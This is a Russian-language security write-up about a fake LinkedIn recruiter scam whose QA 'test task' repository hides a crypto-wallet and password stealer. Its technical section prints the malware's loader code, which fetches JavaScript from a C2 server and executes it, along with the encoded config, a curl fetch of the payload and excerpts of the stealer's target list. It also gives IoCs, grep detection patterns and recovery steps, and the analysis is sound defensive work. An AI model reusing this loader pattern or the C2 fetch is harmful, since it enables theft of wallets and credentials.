Disclaimer: Эта статья предназначена исключительно для образовательных целей и повышения осведомлённости о киберугрозах. Любое использование описанных техник в злонамеренных целях строго запрещено и преследуется по закону.

TL;DR: Обнаружена схема мошенничества. Злоумышленники выдают себя за Web3-компании, предлагают "тестовое задание", которое на самом деле содержит malware для кражи криптовалютных кошельков и паролей из браузеров. В статье — детальный разбор атаки с техническим анализом.

Введение

В последнее время на LinkedIn активизировались мошенники, использующие хитроумную схему для кражи криптовалюты. Под видом рекрутеров из Web3-компаний они предлагают высокооплачиваемую работу QA-инженерам, а вместо собеседования отправляют "тестовое задание" — репозиторий с malware.

Эта статья — подробный разбор реальной атаки, которую удалось распознать до запуска вредоносного кода. Разберём всю цепочку: от первого сообщения до технических деталей malware.

⚠️ Важно: Все ссылки на вредоносные ресурсы обезврежены или указаны для целей идентификации угрозы.

Часть 1: Социальная инженерия

Первый контакт

Всё начинается с сообщения в LinkedIn от "рекрутера":

Привет!
Меня зовут Julia, я Business Owner компании Dredsoftlabs.
Мы расширяем команду и работаем над крутыми проектами:
DApp, Web3-игра и платформа для торговли криптовалютой.

Ищем QA-инженера. Готовы нанять немедленно.
Ставка: $80-120/час, есть full-time и part-time опции.

Интересно? Давайте обсудим!

🚩 Красные флаги

Даже на этом этапе видны подозрительные моменты:

  1. Подозрительная ставка: $80-120/час для QA — это $12,800-19,200/месяц или ~$230,000/год.

  2. "Готовы нанять немедленно": Создание искусственной срочности — классический приём социальной инженерии.

  3. Фокус на Web3/крипто: Целевая аудитория — люди, владеющие криптовалютой.

Развитие контакта

После проявления интереса мошенники присылают:

  • Notion-страницу с подробным описанием вакансии (выглядит профессионально)

  • Запрос метода оплаты ДО собеседования (!!!)

"Тестовое задание"

После отправки резюме приходит следующее сообщение:

Мы тщательно изучили ваше резюме.
Вы отлично подходите для позиции QA-инженера!
Следующий шаг — простое техническое задание на основе
тестового проекта. Займёт 30-60 минут.
После успешного выполнения — сразу в найм, без ожидания.

Готовы начать? Вышлю инструкции.

Затем приходят Google Docs с описанием "тестового проекта" и ссылка на Bitbucket:

Скрытый текст

Репозиторий: bitbucket.org/workspace8601/real_estate_platform
Задание:Клонировать репозиторий

  1. Запустить проект локально (npm install && npm start)

  2. Найти 5+ багов

  3. Написать тест-кейсы

  4. Записать видео с findings

Выглядит как обычное тестовое для QA. НО ЭТО ЛОВУШКА.

💻 Часть 2: Технический анализ

Структура проекта

На первый взгляд — обычное React-приложение с Node.js backend:

real_estate_platform/
├── src/                      ← React frontend (легитимный)
├── server/                   ← Node.js backend
│   ├── app.js
│   ├── server.js
│   ├── config/
│   │   └── .env             ← ⚠️ ВРЕДОНОСНАЯ КОНФИГУРАЦИЯ
│   └── middlewares/
│       └── validator/
│           └── errorHandler.js  ← 🚨 MALWARE ENTRY POINT
├── package.json
└── README.md

Frontend действительно работает — это платформа недвижимости с криптовалютными платежами. Но в backend скрыт malware.

Точка входа malware

Файл server/config/.env содержит подозрительные Base64-строки:

# Runtime Configuration
RUNTIME_CONFIG_API_KEY=aHR0cHM6Ly9hcGktc2VydmVyLW1vY2hhLnZlcmNlbC5hcHAvYXBpL2lwY2hlY2stZW5jcnlwdGVkLzYwMw==
RUNTIME_CONFIG_ACCESS_KEY=eC1zZWNyZXQtaGVhZGVy
RUNTIME_CONFIG_ACCESS_VALUE=c2VjcmV0

Декодируем:

$ echo "aHR0cHM6Ly9hcGktc2VydmVyLW1vY2hhLnZlcmNlbC5hcHAvYXBpL2lwY2hlY2stZW5jcnlwdGVkLzYwMw==" | base64 -d
<https://api-server-mocha.vercel.app/api/ipcheck-encrypted/603>

$ echo "eC1zZWNyZXQtaGVhZGVy" | base64 -d
x-secret-header

$ echo "c2VjcmV0" | base64 -d
secret

Это адрес Command & Control (C2) сервера!

Механизм Remote Code Execution (RCE)

Файл server/middlewares/validator/errorHandler.js содержит опасный код:

const errorHandler = (error) => {
  if (typeof error !== 'string') return;

  // 🚨 ОПАСНО: Создаёт функцию из строки
  const createHandler = (errCode) => {
    const handler = new (Function.constructor)('require', errCode);
    return handler;
  };

  const handlerFunc = createHandler(error);
  if (handlerFunc) {
    handlerFunc(require);  // ← ВЫПОЛНЯЕТ ПРОИЗВОЛЬНЫЙ КОД
  }
};

const errorTimeHandler = async () => {
  // Декодирует Base64 из .env
  const src = atob(process.env.RUNTIME_CONFIG_API_KEY);
  const k = atob(process.env.RUNTIME_CONFIG_ACCESS_KEY);
  const v = atob(process.env.RUNTIME_CONFIG_ACCESS_VALUE);

  try {
    // Запрашивает payload с C2 сервера
    globalConfig = await axios.get(src, {headers: {[k]: v}});
  } catch (error) {
    // Выполняет полученный payload через errorHandler
    errorHandler(error.response?.data || error.message);
  }
};

Как это работает:

1. npm start запускает Node.js сервер
         ↓
2. errorTimeHandler() выполняется автоматически
         ↓
3. Делает HTTP-запрос на C2 сервер:
   GET <https://api-server-mocha.vercel.app/api/ipcheck-encrypted/603>
   Header: x-secret-header: secret
         ↓
4. C2 возвращает обфусцированный JavaScript
         ↓
5. errorHandler() создаёт функцию из строки через Function.constructor
         ↓
6. Код выполняется с полным доступом к require() → ВСЁ

Payload с C2 сервера

Я запросил payload с их сервера (без выполнения):

$ curl -H "x-secret-header: secret" \\\\
  "<https://api-server-mocha.vercel.app/api/ipcheck-encrypted/603>"

Получил ~50KB обфусцированного JavaScript кода. После деобфускации обнаружено:

1. Целевые браузеры

const browsers = [
  'BraveSoftware/Brave-Browser',
  'Google/Chrome',
  'Microsoft/Edge',
  'Mozilla/Firefox',
  'Opera'
];

2. Криптовалютные кошельки (20+ расширений)

const targetWallets = [
  'nkbihfbeogaeaoehlefnkodbefgpgknn',  // MetaMask
  'bfnaelmomeimhlpmgjnjophhpkkoljpa',  // Phantom
  'hnfanknocfeofbddgcijnmhnfnkdnaad',  // Coinbase Wallet
  'fhbohimaelbohpjbbldcngcnapndodjp',  // Binance Chain Wallet
  'odbfpeeihdkbihmopkbjmoonfanlbfcl',  // Brave Wallet
  'egjidjbpglichdcondbcbdnbeeppgdph',  // Trust Wallet
  // ... ещё 15+ кошельков
];

3. Файловые операции

Malware ищет и крадёт:

Windows:

  • %APPDATA%/Roaming/Exodus/exodus.wallet (Exodus wallet)

  • %LOCALAPPDATA%/Google/Chrome/User Data/Default/ (пароли, cookies)

  • %LOCALAPPDATA%/BraveSoftware/Brave-Browser/ (расширения кошельков)

macOS:

  • ~/Library/Application Support/Exodus/exodus.wallet

  • ~/Library/Application Support/Google/Chrome/

  • ~/.config/ (для Linux)

Что крадёт:

  • Seed-фразы криптокошельков

  • Private keys

  • Пароли из браузеров (Login Data)

  • Cookies (активные сессии)

  • История браузера

  • SSH ключи (~/.ssh/)

  • AWS credentials (~/.aws/)

4. Эксфильтрация данных

const hostURL = '<http://146>.[REDACTED]'; // IP-адрес атакеров

// Собирает системную информацию
const systemInfo = {
  hostname: os.hostname(),
  platform: os.platform(),
  homeDir: os.homedir()
};

// Отправляет украденные данные
Upload(stolenFiles, hostURL);

Схема атаки

    ┌─────────────────────┐
    │  Жертва запускает   │
    │   npm start         │
    └──────────┬──────────┘
               │
               ▼
    ┌─────────────────────┐
    │ errorTimeHandler()  │
    │ делает запрос на C2 │
    └──────────┬──────────┘
               │
               ▼
    ┌─────────────────────────────┐
    │ Vercel C2 Server            │
    │ api-server-mocha.vercel.app │
    │ Возвращает payload          │
    └──────────┬──────────────────┘
               │
               ▼
    ┌──────────────────────────┐
    │ Function.constructor()   │
    │ создаёт функцию из строки│
    └──────────┬───────────────┘
               │
               ▼
    ┌────────────────────────────────┐
    │ Payload выполняется с полным   │
    │ доступом к FS, network, etc    │
    └──────────┬─────────────────────┘
               │
               ├─→ Сканирует браузеры
               ├─→ Крадёт wallet extensions
               ├─→ Копирует Exodus wallet
               ├─→ Ворует пароли/cookies
               └─→ Отправляет на 146.x.x.x

🎯 Часть 3: Indicators of Compromise (IoCs)

Если вы получили подобное предложение, проверьте эти индикаторы:

Сетевые индикаторы

C2 Servers:

api-server-mocha.vercel.app
146.[REDACTED] (IP-адрес эксфильтрации)

Домены:

dredsoftlabs.com (фронт-сайт)

Репозитории

Bitbucket: workspace8601/real_estate_platform
URL: bitbucket.org/workspace8601/real_estate_platform

Файловые индикаторы

Вредоносные файлы:

server/middlewares/validator/errorHandler.js
server/config/.env (содержит Base64 C2 config)

Поведенческие индикаторы

  • Вакансия с нереалистичной оплатой

  • Запрос payment method до собеседования

  • Тестовое задание требует npm install / npm start

  • Bitbucket репозиторий от неизвестного workspace

  • Base64-encoded переменные окружения в .env

  • Dynamic function construction (Function.constructor)

🛡️ Часть 4: Защита и митигация

Как распознать scam

  1. Слишком хорошая оплата

  2. Давление срочности

    • "Готовы нанять немедленно"

    • "Без waiting period"

    • "Быстрый найм"

  3. Запрос финансовой информации

    • Payment method ДО оффера

    • Crypto wallet address

    • Banking details

  4. Подозрительное тестовое

    • Требует установки пакетов (npm install)

    • Клонирование неизвестного репозитория

    • Запуск кода (npm start, python main.py)

✅ Best Practices

Для job seekers:

  1. Верификация компании:
    Независимый поиск (не по ссылкам от рекрутера)
    Проверка возраста домена (whois)
    LinkedIn компании с реальными сотрудниками
    Отзывы на Glassdoor/Habr Career

  2. Безопасные тестовые:
    Используйте платформы (HackerRank, CodeSignal)
    Или статический code review (без запуска)
    VM/Docker для подозрительного кода
    НИКОГДА не запускайте код из неизвестных репозиториев

  3. Во время коммуникации:
    Видеозвонок с рекрутером
    Проверка email домена (не Gmail/Outlook для корп. вакансий)
    Отказ от "срочных" предложений

Для разработчиков:

# Перед запуском npm install проверьте:

# 1. Файлы с Base64-строками
grep -r "atob\\\\|base64\\\\|Buffer.from" .

# 2. Подозрительные конструкции
grep -r "Function.constructor\\\\|eval\\\\|new Function" .

# 3. Сетевые запросы
grep -r "axios.get\\\\|fetch\\\\|http.request" .

# 4. Файловые операции
grep -r "fs.readFile\\\\|fs.writeFile\\\\|readFileSync" .

# 5. Обфусцированный код (переменные типа _0x...)
grep -r "_0x[0-9a-f]" .

🚨 Если вы ЗАПУСТИЛИ malware

НЕМЕДЛЕННО:

  1. Отключите интернет (физически!)

  2. Проверьте процессы:

    # macOS/Linux
    ps aux | grep node
    kill -9 <PID>
    
    # Windows
    tasklist | findstr node
    taskkill /F /PID <PID>
    
    
  3. Переведите криптовалюту:

    • Создайте НОВЫЕ кошельки (новые seed phrases)

    • Переведите ВСЕ активы немедленно

    • Старые кошельки считайте скомпрометированными

  4. Смените ВСЕ пароли:

    • Email (в первую очередь!)

    • Банковские аккаунты

    • Криптобиржи (Binance, Coinbase, etc.)

    • Облачные сервисы (AWS, GCP, Azure)

    • SSH ключи (создайте новые)

  5. Отзовите сессии:

В течение 24 часов:

  1. Проверьте persistence:

    # Cron jobs
    crontab -l
    
    # Startup items (macOS)
    ls ~/Library/LaunchAgents/
    ls ~/Library/LaunchDaemons/
    
    # Autostart (Linux)
    ls ~/.config/autostart/
    
    
  2. Антивирус-сканирование.

  3. Мониторинг счетов:

    • Проверяйте банковские транзакции

    • Установите fraud alerts

    • Следите за адресами кошельков

  4. Репорт инцидента:

    • Локальная полиция (если есть финансовые потери)

    • FBI IC3: ic3.gov (для США)

    • Киберполиция вашей страны

  5. (по желанию) Полная переустановка ОС с чистого backup.

📢 Часть 5: Куда сообщить

Platforms

Bitbucket:

Email: abuse@atlassian.com
Subject: Malware repository
Link: bitbucket.org/workspace8601/real_estate_platform

Vercel:

Support: vercel.com/support
Subject: Malicious C2 endpoint
Domain: api-server-mocha.vercel.app

LinkedIn:

Report profile: "скамер"
Reason: Scam / Phishing

Security Community

VirusTotal:

  • Загрузите sample: server/middlewares/validator/errorHandler.js

AbuseIPDB:

  • IP: 146.[REDACTED]

  • Category: Malware distribution

URLhaus:

🧠 Выводы и уроки

Для соискателей

  1. Здоровый скептицизм — ваш друг

    • Если предложение слишком хорошее → проверьте дважды

    • Срочность = давление = red flag

  2. Верификация обязательна

    • Независимый поиск компании

    • Видеозвонок с рекрутером

    • Проверка через знакомых в индустрии

  3. Безопасные тестовые задания

    • Легитимные компании используют платформы

    • Или дают code review без запуска

    • Никогда не запускайте код из неизвестных репозиториев

Для security community

  1. Социальная инженерия эффективна

    • Даже security-aware люди попадаются

    • Профессиональный вид снижает бдительность

  2. Supply chain риски

    • npm/yarn пакеты из недоверенных источников

    • package.json scripts выполняются автоматически

    • Проверяйте код перед установкой зависимостей

  3. Обфускация работает

    • JavaScript легко обфусцировать

    • Статический анализ не всегда помогает

    • Нужны sandbox и динамический анализ

Масштаб проблемы

Эта атака — не единичный случай. Аналогичные схемы:

  • Используются для targeting разработчиков всех уровней

  • Нацелены на владельцев криптовалюты

  • Эволюционируют (новые векторы, обфускация)

  • Сложно детектируются (легитимные платформы)

Потенциальный ущерб:

  • Кража криптовалюты: от $0 до миллионов (зависит от жертвы)

  • Identity theft

  • Corporate data breach (если использовали рабочий компьютер)

  • Backdoor для долгосрочного доступа

📚 Дополнительные материалы

Проверка компании:

Безопасность:

Sandbox для анализа:

Deobfuscation:

🎬 Заключение

Эта атака демонстрирует опасную тенденцию: профессионализация киберпреступности. Злоумышленники используют:

  • Легитимные платформы (LinkedIn, Bitbucket, Vercel)

  • Профессиональную социальную инженерию

  • Технически сложный malware

  • Фокус на high-value targets (crypto holders)

Главный вывод:

Никогда не запускайте код из неизвестных источников, особенно в контексте найма. При малейших сомнениях — откажитесь от "тестового задания" и попросите альтернативу.


Если эта статья помогла вам избежать подобного скама — поделитесь ею с коллегами. Stay vigilant! 🛡️